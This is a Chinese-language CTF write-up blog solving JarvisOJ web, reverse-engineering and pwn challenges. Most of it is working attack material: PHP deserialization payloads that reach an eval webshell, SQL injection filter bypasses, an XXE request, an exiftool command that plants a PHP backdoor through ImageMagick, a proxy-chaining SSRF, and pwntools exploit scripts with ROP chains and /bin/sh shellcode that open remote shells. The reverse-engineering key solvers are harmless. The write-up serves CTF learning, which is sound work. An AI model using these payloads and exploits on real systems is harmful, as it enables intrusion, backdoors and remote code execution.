JarvisOJ Web&Reverse&Pwn

  • Web
    • 0x01 phpinfo
    • 0x02 WEB
    • 0x03 Easy Gallery
    • 0x04 Login
    • 0x05 PORT51
    • 0x06 LOCALHOST
    • 0x07 神盾局的秘密
    • 0x08 IN A Mess
    • 0x09 api调用
    • 0x0a Simple Injection
    • 0x0b 图片上传漏洞
    • 0x0c chopper
    • 0x0d flag在管理员手里
  • Reverse
    • 0x01FindKey
    • 0x02 Classical Crackme
  • Pwn
    • 0x01 XMANlevel0
    • 0x02 XMANlevel1
    • 0x03 XMANlevel2_x64
    • 0x04 XMANlevel2
    • 0x05 XMANlevel3
    • 0x06 XMANlevel4
    • 0x07 XMANlevel3x64
    • 0x08 Tell Me Something
    • 0x09 smashes

Web

0x01 phpinfo()


这是道php序列化漏洞的题目
1.原理

ini_set('session.serialize_handler', 'php_serialize');
ini_set('session.serialize_handler', 'php');

两者处理session的方式不同
* php:存储方式是,键名+竖线+经过serialize()函数序列处理的值

name|s:6:"spoock"
  • php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值
a:1:{s:4:"name";s:6:"spoock";}

2.用法
* 首先访问test1.php


ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["spoock"]=$_GET["a"];
?>
这一步将设置session的值 |O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}

然后’php_serialize’将会设置session对话并且值为a:1:{s:6:”spoock”;s:48:”|O:5:”lemon”:1:{s:2:”hi”;s:14:”echo “spoock”;”;}”;}

  • 然后访问test2.php

ini_set('session.serialize_handler', 'php');
session_start();
class lemon {
    var $hi;
    function __construct(){
        $this->hi = 'phpinfo();';
    }

    function __destruct() {
         eval($this->hi);
    }
}
?>
这一步将会利用解析session对话的值,以|为分割符将session分割为键名和值两部分
键名:a:1:{s:6:"spoock";s:48:"
值O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}";}
从而解析出了序列化,自动生成了lemon的类,当类在结尾销毁时将会调用析构函数执行恶意代码
  • 查看效果

    恶意代码成功执行

http://web.jarvisoj.com:32784/


//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }

    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>
  • 分析要构造session的值为 |O:5:”OowoO”:1:{s:4:”mdzz”;s:7:”echo 1;”;} 形式
"http://web.jarvisoj.com:32784/phpinfo.php" method="POST" enctype="multipart/form-data"> type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /> type="file" name="file" /> type="submit" />

抓包将filename的值改成payload注意转义字符

最终的提交格式为 |O:5:\"OowoO\":1:{s:4:\"mdzz\";s:27:\"print_r(dirname(__FILE__));\";}

JarvisOJ Web&Reverse&Pwn_第1张图片
利用print_r(scandir(“/opt/lampp/htdocs”));
payload JarvisOJ Web&Reverse&Pwn_第2张图片

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:38:\"print_r(scandir(\"/opt/lampp/htdocs\"));\";}

利用file_get_content获取

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}

JarvisOJ Web&Reverse&Pwn_第3张图片

0x02 WEB?

这题首先利用了各种扫描工具,但终究没有结果,在提醒下看了一下源代码
这里写图片描述
首先利用格式化工具 将代码格式化
之后搜索post字符
JarvisOJ Web&Reverse&Pwn_第4张图片
问题
1.检测不在后台
2.checkpass.json应该存在

搜索checkpass找到检测代码

function(e) {
                if (25 !== e.length) return ! 1;
                for (var t = [], n = 0; n < 25; n++) t.push(e.charCodeAt(n));
                for (var r = [325799, 309234, 317320, 327895, 298316, 301249, 330242, 289290, 273446, 337687, 258725, 267444, 373557, 322237, 344478, 362136, 331815, 315157, 299242, 305418, 313569, 269307, 338319, 306491, 351259], o = [[11, 13, 32, 234, 236, 3, 72, 237, 122, 230, 157, 53, 7, 225, 193, 76, 142, 166, 11, 196, 194, 187, 152, 132, 135], [76, 55, 38, 70, 98, 244, 201, 125, 182, 123, 47, 86, 67, 19, 145, 12, 138, 149, 83, 178, 255, 122, 238, 187, 221], [218, 233, 17, 56, 151, 28, 150, 196, 79, 11, 150, 128, 52, 228, 189, 107, 219, 87, 90, 221, 45, 201, 14, 106, 230], [30, 50, 76, 94, 172, 61, 229, 109, 216, 12, 181, 231, 174, 236, 159, 128, 245, 52, 43, 11, 207, 145, 241, 196, 80], [134, 145, 36, 255, 13, 239, 212, 135, 85, 194, 200, 50, 170, 78, 51, 10, 232, 132, 60, 122, 117, 74, 117, 250, 45], [142, 221, 121, 56, 56, 120, 113, 143, 77, 190, 195, 133, 236, 111, 144, 65, 172, 74, 160, 1, 143, 242, 96, 70, 107], [229, 79, 167, 88, 165, 38, 108, 27, 75, 240, 116, 178, 165, 206, 156, 193, 86, 57, 148, 187, 161, 55, 134, 24, 249], [235, 175, 235, 169, 73, 125, 114, 6, 142, 162, 228, 157, 160, 66, 28, 167, 63, 41, 182, 55, 189, 56, 102, 31, 158], [37, 190, 169, 116, 172, 66, 9, 229, 188, 63, 138, 111, 245, 133, 22, 87, 25, 26, 106, 82, 211, 252, 57, 66, 98], [199, 48, 58, 221, 162, 57, 111, 70, 227, 126, 43, 143, 225, 85, 224, 141, 232, 141, 5, 233, 69, 70, 204, 155, 141], [212, 83, 219, 55, 132, 5, 153, 11, 0, 89, 134, 201, 255, 101, 22, 98, 215, 139, 0, 78, 165, 0, 126, 48, 119], [194, 156, 10, 212, 237, 112, 17, 158, 225, 227, 152, 121, 56, 10, 238, 74, 76, 66, 80, 31, 73, 10, 180, 45, 94], [110, 231, 82, 180, 109, 209, 239, 163, 30, 160, 60, 190, 97, 256, 141, 199, 3, 30, 235, 73, 225, 244, 141, 123, 208], [220, 248, 136, 245, 123, 82, 120, 65, 68, 136, 151, 173, 104, 107, 172, 148, 54, 218, 42, 233, 57, 115, 5, 50, 196], [190, 34, 140, 52, 160, 34, 201, 48, 214, 33, 219, 183, 224, 237, 157, 245, 1, 134, 13, 99, 212, 230, 243, 236, 40], [144, 246, 73, 161, 134, 112, 146, 212, 121, 43, 41, 174, 146, 78, 235, 202, 200, 90, 254, 216, 113, 25, 114, 232, 123], [158, 85, 116, 97, 145, 21, 105, 2, 256, 69, 21, 152, 155, 88, 11, 232, 146, 238, 170, 123, 135, 150, 161, 249, 236], [251, 96, 103, 188, 188, 8, 33, 39, 237, 63, 230, 128, 166, 130, 141, 112, 254, 234, 113, 250, 1, 89, 0, 135, 119], [192, 206, 73, 92, 174, 130, 164, 95, 21, 153, 82, 254, 20, 133, 56, 7, 163, 48, 7, 206, 51, 204, 136, 180, 196], [106, 63, 252, 202, 153, 6, 193, 146, 88, 118, 78, 58, 214, 168, 68, 128, 68, 35, 245, 144, 102, 20, 194, 207, 66], [154, 98, 219, 2, 13, 65, 131, 185, 27, 162, 214, 63, 238, 248, 38, 129, 170, 180, 181, 96, 165, 78, 121, 55, 214], [193, 94, 107, 45, 83, 56, 2, 41, 58, 169, 120, 58, 105, 178, 58, 217, 18, 93, 212, 74, 18, 217, 219, 89, 212], [164, 228, 5, 133, 175, 164, 37, 176, 94, 232, 82, 0, 47, 212, 107, 111, 97, 153, 119, 85, 147, 256, 130, 248, 235], [221, 178, 50, 49, 39, 215, 200, 188, 105, 101, 172, 133, 28, 88, 83, 32, 45, 13, 215, 204, 141, 226, 118, 233, 156], [236, 142, 87, 152, 97, 134, 54, 239, 49, 220, 233, 216, 13, 143, 145, 112, 217, 194, 114, 221, 150, 51, 136, 31, 198]], n = 0; n < 25; n++) {
                    for (var i = 0,
                    a = 0; a < 25; a++) i += t[a] * o[n][a];
                    if (i !== r[n]) return ! 1
                }
                return ! 0

逻辑很简单,25元方程组 可以在线解
直接利用python的np模块解题
贴上自己的py代码

import np
o = [[11, 13, 32, 234, 236, 3, 72, 237, 122, 230, 157, 53, 7, 225, 193, 76, 142, 166, 11, 196, 194, 187, 152, 132, 135], [76, 55, 38, 70, 98, 244, 201, 125, 182, 123, 47, 86, 67, 19, 145, 12, 138, 149, 83, 178, 255, 122, 238, 187, 221], [218, 233, 17, 56, 151, 28, 150, 196, 79, 11, 150, 128, 52, 228, 189, 107, 219, 87, 90, 221, 45, 201, 14, 106, 230], [30, 50, 76, 94, 172, 61, 229, 109, 216, 12, 181, 231, 174, 236, 159, 128, 245, 52, 43, 11, 207, 145, 241, 196, 80], [134, 145, 36, 255, 13, 239, 212, 135, 85, 194, 200, 50, 170, 78, 51, 10, 232, 132, 60, 122, 117, 74, 117, 250, 45], [142, 221, 121, 56, 56, 120, 113, 143, 77, 190, 195, 133, 236, 111, 144, 65, 172, 74, 160, 1, 143, 242, 96, 70, 107], [229, 79, 167, 88, 165, 38, 108, 27, 75, 240, 116, 178, 165, 206, 156, 193, 86, 57, 148, 187, 161, 55, 134, 24, 249], [235, 175, 235, 169, 73, 125, 114, 6, 142, 162, 228, 157, 160, 66, 28, 167, 63, 41, 182, 55, 189, 56, 102, 31, 158], [37, 190, 169, 116, 172, 66, 9, 229, 188, 63, 138, 111, 245, 133, 22, 87, 25, 26, 106, 82, 211, 252, 57, 66, 98], [199, 48, 58, 221, 162, 57, 111, 70, 227, 126, 43, 143, 225, 85, 224, 141, 232, 141, 5, 233, 69, 70, 204, 155, 141], [212, 83, 219, 55, 132, 5, 153, 11, 0, 89, 134, 201, 255, 101, 22, 98, 215, 139, 0, 78, 165, 0, 126, 48, 119], [194, 156, 10, 212, 237, 112, 17, 158, 225, 227, 152, 121, 56, 10, 238, 74, 76, 66, 80, 31, 73, 10, 180, 45, 94], [110, 231, 82, 180, 109, 209, 239, 163, 30, 160, 60, 190, 97, 256, 141, 199, 3, 30, 235, 73, 225, 244, 141, 123, 208], [220, 248, 136, 245, 123, 82, 120, 65, 68, 136, 151, 173, 104, 107, 172, 148, 54, 218, 42, 233, 57, 115, 5, 50, 196], [190, 34, 140, 52, 160, 34, 201, 48, 214, 33, 219, 183, 224, 237, 157, 245, 1, 134, 13, 99, 212, 230, 243, 236, 40], [144, 246, 73, 161, 134, 112, 146, 212, 121, 43, 41, 174, 146, 78, 235, 202, 200, 90, 254, 216, 113, 25, 114, 232, 123], [158, 85, 116, 97, 145, 21, 105, 2, 256, 69, 21, 152, 155, 88, 11, 232, 146, 238, 170, 123, 135, 150, 161, 249, 236], [251, 96, 103, 188, 188, 8, 33, 39, 237, 63, 230, 128, 166, 130, 141, 112, 254, 234, 113, 250, 1, 89, 0, 135, 119], [192, 206, 73, 92, 174, 130, 164, 95, 21, 153, 82, 254, 20, 133, 56, 7, 163, 48, 7, 206, 51, 204, 136, 180, 196], [106, 63, 252, 202, 153, 6, 193, 146, 88, 118, 78, 58, 214, 168, 68, 128, 68, 35, 245, 144, 102, 20, 194, 207, 66], [154, 98, 219, 2, 13, 65, 131, 185, 27, 162, 214, 63, 238, 248, 38, 129, 170, 180, 181, 96, 165, 78, 121, 55, 214], [193, 94, 107, 45, 83, 56, 2, 41, 58, 169, 120, 58, 105, 178, 58, 217, 18, 93, 212, 74, 18, 217, 219, 89, 212], [164, 228, 5, 133, 175, 164, 37, 176, 94, 232, 82, 0, 47, 212, 107, 111, 97, 153, 119, 85, 147, 256, 130, 248, 235], [221, 178, 50, 49, 39, 215, 200, 188, 105, 101, 172, 133, 28, 88, 83, 32, 45, 13, 215, 204, 141, 226, 118, 233, 156], [236, 142, 87, 152, 97, 134, 54, 239, 49, 220, 233, 216, 13, 143, 145, 112, 217, 194, 114, 221, 150, 51, 136, 31, 198]]
r = [325799, 309234, 317320, 327895, 298316, 301249, 330242, 289290, 273446, 337687, 258725, 267444, 373557, 322237, 344478, 362136, 331815, 315157, 299242, 305418, 313569, 269307, 338319, 306491, 351259]
o = np.array(o)
r = np.array(r)
x = np.linalg.solve(o,r)
print x
string = ''
for i in x:

    string += chr(int(str(i)[0:-2]))
print string

自己也是做了很多上传的题目,也一直想做个总结
这道题很明显是上传的题目
上传题我们一般考虑到几点

1.首先要绕过过滤上传文件
2.执行上传的文件

绕过上传例如
1.%00截断
2.各种花式上传
最重要的就是执行上传的文件要记住以下几点
1.jpg中的php代码可以执行
2.zip等压缩包中的代码可以通过伪协议
3.绕过内容检测

<script language='php'>
echo "123";
script>

看看这题
首先考虑各种花式上传目的是要上传PHP文件能够执行恶意代码
发现没有作用,转换思路发现也不能上传zip
那么只能是jpg中嵌入PHP代码了,必须找到文件包含才可以
http://web.jarvisoj.com:32785/index.php?page=view
典型的文件包含注意后面的.php会自动加上需要截断
那么上传的内容为
JarvisOJ Web&Reverse&Pwn_第5张图片
直接访问即可
JarvisOJ Web&Reverse&Pwn_第6张图片

0x04 Login

简单的注入题
看头发现hint
"select * from admin where password='".md5($pass,true)."'"
以前的博客有详细的讲解
这里写图片描述

0x05 PORT51

直接看图
JarvisOJ Web&Reverse&Pwn_第7张图片
目的是用本机51端口去访问网页,使用vps 51端口访问
curl --local-port 51 http://web.jarvisoj.com:32770/
JarvisOJ Web&Reverse&Pwn_第8张图片

0x06 LOCALHOST

X-Forwarded-For字段设置为127.0.0.1即可
JarvisOJ Web&Reverse&Pwn_第9张图片

0x07 神盾局的秘密

去年做这题时很困难,今年再看时发现如此简单
看下逻辑
看源码发现了

这里有个文件包含,base64解码之后得到shield.jpg
尝试读取index.php

 
    require_once('shield.php');
    $x = new Shield();
    isset($_GET['class']) && $g = $_GET['class'];
    if (!empty($g)) {
        $x = unserialize($g);
    }
    echo $x->readfile();
?>

利用同样的方法读取shield.php


    //flag is in pctf.php
    class Shield {
        public $file;
        function __construct($filename = '') {
            $this -> file = $filename;
        }

        function readfile() {
            if (!empty($this->file) && stripos($this->file,'..')===FALSE  
            && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
                return @file_get_contents($this->file);
            }
        }
    }
?>

最简单的序列化漏洞
直接利用脚本生成序列化的值


    //flag is in pctf.php
    class Shield {
        public $file;
        function __construct($filename = '') {
            $this -> file = $filename;
        }

        function readfile() {
            if (!empty($this->file) && stripos($this->file,'..')===FALSE  
            && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
                return @file_get_contents($this->file);
            }
        }
    }

$q = new Shield();
$q->file = 'pctf.php';
echo serialize($q);
?>

输入即可
JarvisOJ Web&Reverse&Pwn_第10张图片

0x08 IN A Mess

源码泄露index.phps
看思路
首先用AVWS扫描出来了index.phps目录
代码如下



error_reporting(0);
echo "";

if(!$_GET['id'])
{
    header('Location: index.php?id=1');
    exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
    echo 'Hahahahahaha';
    return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!")
echo "yes";
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
    require("flag.txt");
}
else
{
    print "work harder!harder!harder!";
}


?>

这样我们得到了源代码就是简单的绕过了
1.$data=="1112 is a nice lab!"
可以利用远程文件包含在allow_url_include开启时可以使用,但发现对$a有了.过滤所以还是data协议比较稳妥,这里有学习链接
最后绕过姿势为a=data:,1112 is a nice lab!
2.$id==0
典型的PHP弱比较可参见我以前的博客
这里可以使id=0e123id=asd任意字符串
3.strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
strlen函数对%00不截断但substr截断那么可以令b=%00412311
显示出来
Come ON!!! {/^HT2mCpcvOLf}
猜测是个目录
打开是个注入
简单过滤了空格,去除敏感字符
利用/*1*/绕过
JarvisOJ Web&Reverse&Pwn_第11张图片
字段数为3


JarvisOJ Web&Reverse&Pwn_第12张图片
显示位为 3


这里写图片描述
id=-1/*12*/uniunionon/*12*/seselectlect/*12*/1,2,(seselectlect/*12*/group_concat(table_name)/*12*/frfromom/*12*/information_schema.tables/*12*/where/*12*/table_schema=database())%23
表名为content


这里写图片描述
id=-1/*12*/uniunionon/*12*/seselectlect/*12*/1,2,(selselectect/*12*/group_concat(column_name)/*12*/frofromm/*12*/information_schema.columns/*12*/where/*12*/table_name=0x636f6e74656e74)%23
找到了context字段


这里写图片描述

0x09 api调用

打开发现
Content-Type: application/json
需要读取 flag 猜测是不是 xxe 然后搜到了
http://bobao.360.cn/learning/detail/360.html
Content-Type 头被修改为 application/xml,客户端会告诉服务器 post 过去的数据是 XML 格式的.
加一个 Content-Type: application/xml
payload

POST /api/v1.0/try HTTP/1.1
Host: web.jarvisoj.com:9882
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/xml
Referer: http://web.jarvisoj.com:9882/
Content-Length: 173
Cookie: __cfduid=d5003f0545042bbe0fbc573cda35051f71472823285; UM_distinctid=15abdd622a49f-02e5d4fef34197-7f682331-100200-15abdd622a5cf; role=s%3A5%3A%22guest%22%3B; hsh=3a4727d57463f122833d9e732f94e4e0
Connection: close


]>
<root>
<search>namesearch>
<value>&xxe;value>
root>

JarvisOJ Web&Reverse&Pwn_第13张图片

0x0a Simple Injection

一道非常简答的SQL注入直接用sqlmap跑就可以
JarvisOJ Web&Reverse&Pwn_第14张图片
JarvisOJ Web&Reverse&Pwn_第15张图片
JarvisOJ Web&Reverse&Pwn_第16张图片

0x0b 图片上传漏洞

这是道CVE的题目,真心不会写,看了别人的wp,跟着做了一遍
首先扫到了test.php 但是不知道怎么利用
一开始以为是正常的上传套路但发现各种方式都不行
最后发现phpinfo中的imagick
JarvisOJ Web&Reverse&Pwn_第17张图片
经典的漏洞

先用 exiftool 生成一个一句话后门 路径由 phpinfo 得到

exiftool -label="\"|/bin/echo \ > /opt/lampp/htdocs/uploads/x.php; \"" 1.png
接着上传该文件
JarvisOJ Web&Reverse&Pwn_第18张图片
注意filetype参数为show
利用菜刀连接
JarvisOJ Web&Reverse&Pwn_第19张图片

0x0c chopper

这一题说好还是不好呢, 这里猜测是用file_get_content编写
假设1.php 2.php都是下面代码

 
echo file_get_contents("$_GET[a]");
?>

3.php 是下面代码

 
echo `$_GET[360]`;
 ?>

那么我执行http://127.0.0.1/1.php?a=http://127.0.0.1/2.php?a=http://127.0.0.1/3.php?360=ping
JarvisOJ Web&Reverse&Pwn_第20张图片

看题目吧
题目一开始是管理员登录,要求使用admin登录
查看源码有惊喜
JarvisOJ Web&Reverse&Pwn_第21张图片
admin IP is 103.27.76.153
这就意味着我要用这个去访问/admin/目录
观察图片发现了一个proxy.php

很明显一个代理,我们可以用这个去访问admin ip 然后让admin IP 访问/admin/目录,这里找到
访问网址
http://web.jarvisoj.com:32782/proxy.php?url=http://103.27.76.153/proxy.php?url=http://web.jarvisoj.com:32782/admin/
JarvisOJ Web&Reverse&Pwn_第22张图片
找到robots.txt

User-agent: *
Disallow:trojan.php
Disallow:trojan.php.txt

打开trojan.php.txt 在本地运行
JarvisOJ Web&Reverse&Pwn_第23张图片
发现键值为360
JarvisOJ Web&Reverse&Pwn_第24张图片

0x0d flag在管理员手里

研究hash长度扩展攻击已经有一段时间了,总体来说就是我们知道一个加盐的hash值,即使我们不知道盐的具体内容,但只要知道长度就可以随便伪造种带盐的hash(相当于我们控制了明密文)
具体的分析见我的另一篇博客

Reverse

0x01FindKey

用Ubuntu file 指令查看文件格式为pyc
之后直接用uncompyle6 指令(如果没有自行安装 直接pip就行)
直接得到

# uncompyle6 version 2.9.9
# Python bytecode 2.7 (62211)
# Decompiled from: Python 2.7.12 (default, Nov 19 2016, 06:48:10) 
# [GCC 5.4.0 20160609]
# Embedded file name: findkey
# Compiled at: 2016-04-30 17:54:18
import sys
lookup = [
 196, 153, 149, 206, 17, 221, 10, 217, 167, 18, 36, 135, 103, 61, 111, 31, 92, 152, 21, 228, 105, 191, 173, 41, 2, 245, 23, 144, 1, 246, 89, 178, 182, 119, 38, 85, 48, 226, 165, 241, 166, 214, 71, 90, 151, 3, 109, 169, 150, 224, 69, 156, 158, 57, 181, 29, 200, 37, 51, 252, 227, 93, 65, 82, 66, 80, 170, 77, 49, 177, 81, 94, 202, 107, 25, 73, 148, 98, 129, 231, 212, 14, 84, 121, 174, 171, 64, 180, 233, 74, 140, 242, 75, 104, 253, 44, 39, 87, 86, 27, 68, 22, 55, 76, 35, 248, 96, 5, 56, 20, 161, 213, 238, 220, 72, 100, 247, 8, 63, 249, 145, 243, 155, 222, 122, 32, 43, 186, 0, 102, 216, 126, 15, 42, 115, 138, 240, 147, 229, 204, 117, 223, 141, 159, 131, 232, 124, 254, 60, 116, 46, 113, 79, 16, 128, 6, 251, 40, 205, 137, 199, 83, 54, 188, 19, 184, 201, 110, 255, 26, 91, 211, 132, 160, 168, 154, 185, 183, 244, 78, 33, 123, 28, 59, 12, 210, 218, 47, 163, 215, 209, 108, 235, 237, 118, 101, 24, 234, 106, 143, 88, 9, 136, 95, 30, 193, 176, 225, 198, 197, 194, 239, 134, 162, 192, 11, 70, 58, 187, 50, 67, 236, 230, 13, 99, 190, 208, 207, 7, 53, 219, 203, 62, 114, 127, 125, 164, 179, 175, 112, 172, 250, 133, 130, 52, 189, 97, 146, 34, 157, 120, 195, 45, 4, 142, 139]
pwda = [
 188, 155, 11, 58, 251, 208, 204, 202, 150, 120, 206, 237, 114, 92, 126, 6, 42]
pwdb = [53, 222, 230, 35, 67, 248, 226, 216, 17, 209, 32, 2, 181, 200, 171, 60, 108]
flag = raw_input('Input your Key:').strip()
if len(flag) != 17:
    print 'Wrong Key!!'
    sys.exit(1)
flag = flag[::-1]
for i in range(0, len(flag)):
    if ord(flag[i]) + pwda[i] & 255 != lookup[i + pwdb[i]]:
        print 'Wrong Key!!'
        sys.exit(1)

print 'Congratulations!!'
# okay decompiling 1.pyc

直接写解密程序就好了

# uncompyle6 version 2.9.9
# Python bytecode 2.7 (62211)
# Decompiled from: Python 2.7.12 (default, Nov 19 2016, 06:48:10) 
# [GCC 5.4.0 20160609]
# Embedded file name: findkey
# Compiled at: 2016-04-30 17:54:18
import sys
lookup = [
 196, 153, 149, 206, 17, 221, 10, 217, 167, 18, 36, 135, 103, 61, 111, 31, 92, 152, 21, 228, 105, 191, 173, 41, 2, 245, 23, 144, 1, 246, 89, 178, 182, 119, 38, 85, 48, 226, 165, 241, 166, 214, 71, 90, 151, 3, 109, 169, 150, 224, 69, 156, 158, 57, 181, 29, 200, 37, 51, 252, 227, 93, 65, 82, 66, 80, 170, 77, 49, 177, 81, 94, 202, 107, 25, 73, 148, 98, 129, 231, 212, 14, 84, 121, 174, 171, 64, 180, 233, 74, 140, 242, 75, 104, 253, 44, 39, 87, 86, 27, 68, 22, 55, 76, 35, 248, 96, 5, 56, 20, 161, 213, 238, 220, 72, 100, 247, 8, 63, 249, 145, 243, 155, 222, 122, 32, 43, 186, 0, 102, 216, 126, 15, 42, 115, 138, 240, 147, 229, 204, 117, 223, 141, 159, 131, 232, 124, 254, 60, 116, 46, 113, 79, 16, 128, 6, 251, 40, 205, 137, 199, 83, 54, 188, 19, 184, 201, 110, 255, 26, 91, 211, 132, 160, 168, 154, 185, 183, 244, 78, 33, 123, 28, 59, 12, 210, 218, 47, 163, 215, 209, 108, 235, 237, 118, 101, 24, 234, 106, 143, 88, 9, 136, 95, 30, 193, 176, 225, 198, 197, 194, 239, 134, 162, 192, 11, 70, 58, 187, 50, 67, 236, 230, 13, 99, 190, 208, 207, 7, 53, 219, 203, 62, 114, 127, 125, 164, 179, 175, 112, 172, 250, 133, 130, 52, 189, 97, 146, 34, 157, 120, 195, 45, 4, 142, 139]
pwda = [
 188, 155, 11, 58, 251, 208, 204, 202, 150, 120, 206, 237, 114, 92, 126, 6, 42]
pwdb = [53, 222, 230, 35, 67, 248, 226, 216, 17, 209, 32, 2, 181, 200, 171, 60, 108]

flag = ''
for i in range(0, 17):
     flag += chr(lookup[i + pwdb[i]]-pwda[i] & 255)
flag = flag[::-1]
print flag
# okay decompiling 1.pyc

PCTF{PyC_Cr4ck3r}

0x02 Classical Crackme

直接IDA32静态反汇编
看到有一处base64
解码后得到flag 这也太简单了
JarvisOJ Web&Reverse&Pwn_第25张图片
PCTF{Ea5y_Do_Net_Cr4ck3r}

Pwn

入了pwn坑,感觉要学习好多东西先从这里开始吧

0x01 [XMAN]level0

首先利用IDA进行静态分析,利用checksec进行检查发现堆栈不可执行

ssize_t vulnerable_function()
{
  char buf; // [sp+0h] [bp-80h]@1

  return read(0, &buf, 0x200uLL);
}

很明显的栈溢出函数read
JarvisOJ Web&Reverse&Pwn_第26张图片
同时也找到了system函数以及/bin/sh字符串
但是发现了无法传参至system函数,因为在此程序里利用的是寄存器传参并不是堆栈传参。
利用ropper 找到pop edi;ret 地址
ropper -f level0 –search “pop|pop|pop|ret”

JarvisOJ Web&Reverse&Pwn_第27张图片
直接构造exploit

from pwn import *
level0 = ELF('./level0')
systemplt = level0.plt['system']
print hex(systemplt)
system = 0x400460
#0x0000000000400663 pop edi ret
sh = remote('pwn2.jarvisoj.com', 9881)
padding = "A"*0x88
addr = p64(0x400663)
argv =  p64(0x400684)# /bin/sh
shellcode = padding + addr + argv +p64(system)
sh.send(shellcode)
sh.interactive()

另寻他路
找到了callsystem函数
直接利用就好了

from pwn import *
sh = remote('pwn2.jarvisoj.com', 9881)
padding = "A"*0x88
addr = p64(0x400596)
shellcode = padding + addr
sh.send(shellcode)
sh.interactive()
from zio import *
sh = zio(('pwn2.jarvisoj.com', 9881))#这里注意括号
padding = "A"*0x88
addr = l64(0x400596)
shellcode = padding + addr
sh.write(shellcode)
sh.interact()

0x02 [XMAN]level1

还是首先看IDA反汇编的代码

ssize_t vulnerable_function()
{
  char buf; // [sp+0h] [bp-88h]@1

  printf("What's this:%p?\n", &buf);
  return read(0, &buf, 0x100u);
}

存在明显的栈溢出,因为没有libc文件,没有system函数地址无法直接使用,需要自己写shellcode但是自己的shellcode写在哪里?发现程序讲buf数组的第一个地址打印了出来,可以在这里进行shellcode的编写。

from zio import *
sh = zio(('pwn2.jarvisoj.com', 9877))
s = sh.readline()
padding =  0x88+4
shellcode = "\x31\xc0\x31\xdb\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\x51\x52\x55\x89\xe5\x0f\x34\x31\xc0\x31\xdb\xfe\xc0\x51\x52\x55\x89\xe5\x0f\x34"
addr = l32(int(s[len("What's this:"):-2],16))
ex = shellcode + 'A'*(padding-len(shellcode))+addr
sh.write(ex)
sh.interact()

0x03 [XMAN]level2_x64

本题目与level0类似
IDA查看


.text:00000000004005F6                 push    rbp
.text:00000000004005F7                 mov     rbp, rsp
.text:00000000004005FA                 add     rsp, 0FFFFFFFFFFFFFF80h
.text:00000000004005FE                 mov     edi, offset command ; "echo Input:"
.text:0000000000400603                 call    _system
.text:0000000000400608                 lea     rax, [rbp+buf]
.text:000000000040060C                 mov     edx, 200h       ; nbytes
.text:0000000000400611                 mov     rsi, rax        ; buf
.text:0000000000400614                 mov     edi, 0          ; fd
.text:0000000000400619                 call    _read
.text:000000000040061E                 leave
.text:000000000040061F                 retn
.text:000000000040061F vulnerable_function endp

典型的栈溢出漏洞
同样找到了system和/bin/sh的地址

from pwn import *
level0 = ELF('./level2_x64')
systemplt = level0.plt['system']
print hex(systemplt)
system = 0x4004c0
#0x00000000004006b3: pop rdi; ret; 
sh = remote('pwn2.jarvisoj.com', 9882)
padding = "A"*0x88
addr = p64(0x4006b3)
argv =  p64(0x600a90)# /bin/sh
shellcode = padding + addr + argv +p64(system)
sh.send(shellcode)
sh.interactive()

0x04 [XMAN]level2

一种简单的方法,直接运用他给的函数运行shell

from pwn import *
sh = process('./level2')
level2 = ELF('./level2')
padding = 'a'*(0x88+4)
system_addr = p32(level2.plt['system'])
argv_r = p32(0x804a024)
payload = padding+system_addr+'a'*4+argv_r
sh.sendline(payload)
sh.interactive()

还有一种方法,利用read函数,写入/bin/sh

from pwn import *
sh = process('./level2')
level2 = ELF('./level2')
bss = level2.bss()+1#0x804a024
print hex(bss)
padding = 'a'*(0x88+4)
read_addr = p32(level2.plt['read'])
rop = p32(0x08048519)#rop rop rop ret
argv = p32(0)+p32(bss)+p32(10)#这里第三个参数一定要大于/bin/sh\x00长度
system_addr = p32(level2.plt['system'])
argv_r = p32(bss)#p32(0x804a024)
payload = padding+read_addr+rop+argv+system_addr+'a'*4+argv_r
sh.sendline(payload)
# time.sleep(0.2)
sh.send('/bin/sh\x00')
sh.interactive()

0x05 [XMAN]level3

题目中给了一个libc的文件,明显可以找到system地址但只有偏移量,也就是说必须找到基址。
首选看一下溢出函数

ssize_t vulnerable_function()
{
  char buf; // [sp+0h] [bp-88h]@1

  write(1, "Input:\n", 7u);
  return read(0, &buf, 0x100u);
}

read处溢出,要想找到基址我们可以利用write函数,将加载过得read函数(这里使用got表的地址)的地址打印出来,利用libc中的偏移找到基址。从而找到system函数的绝对地址。

没有/bin/sh可以利用read函数写入bss段,这里要注意写的时候read的最后一个参数一定要大于/bin/sh\x00长度

利用ropper找到rop 链直接使用
JarvisOJ Web&Reverse&Pwn_第28张图片

这里附上我写的代码,实现了上述的逻辑

from pwn import *
sh =remote('pwn2.jarvisoj.com', 9879)# process('./level3')
solibc = ELF('libc-2.19.so')
code = ELF('level3')
system_offset = solibc.symbols['system']
read_offset = solibc.symbols['read']
basebss = code.bss()
vuladdr = p32(0x0804844B)
padding_rbp = 'a'*(0x88+4)
